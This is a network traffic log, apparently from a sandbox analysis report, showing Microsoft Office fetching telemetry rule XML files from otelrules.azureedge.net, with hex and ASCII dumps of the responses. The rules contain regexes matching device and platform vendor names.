2024-10-28 05:28:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:02 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052802Z-16849878b7898p5f6vryaqvp5800000005eg000000005tp6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:03 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2eb4648-201e-0051-526d-287340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052803Z-r197bdfb6b4gx6v9pg74w9f47s000000069000000000et9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052803Z-16849878b78p49s6zkwt11bbkn000000046g00000000ccp8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:03 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052803Z-16849878b78qf2gleqhwczd21s00000004q000000000hf3y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7ae13fc9-101e-005a-3933-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052803Z-17c5cb586f6b6kj91vqtm6kxaw000000037g000000007urn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052803Z-16849878b78qg9mlz11wgn0wcc0000000460000000007ffu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 809859d7-601e-00ab-6828-2666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052804Z-17c5cb586f6mkpfk79wxvcahc000000004yg000000008xfy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052804Z-16849878b78smng4k6nq15r6s400000005zg00000000mxxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052804Z-17c5cb586f6hhlf5mrwgq3erx800000005k000000000c788 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052804Z-16849878b78bjkl8dpep89pbgg000000035g00000000mma3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 24b9edea-d01e-002b-4c3d-2625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052804Z-17c5cb586f6hn8cl90dxzu28kw00000004bg00000000a77u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
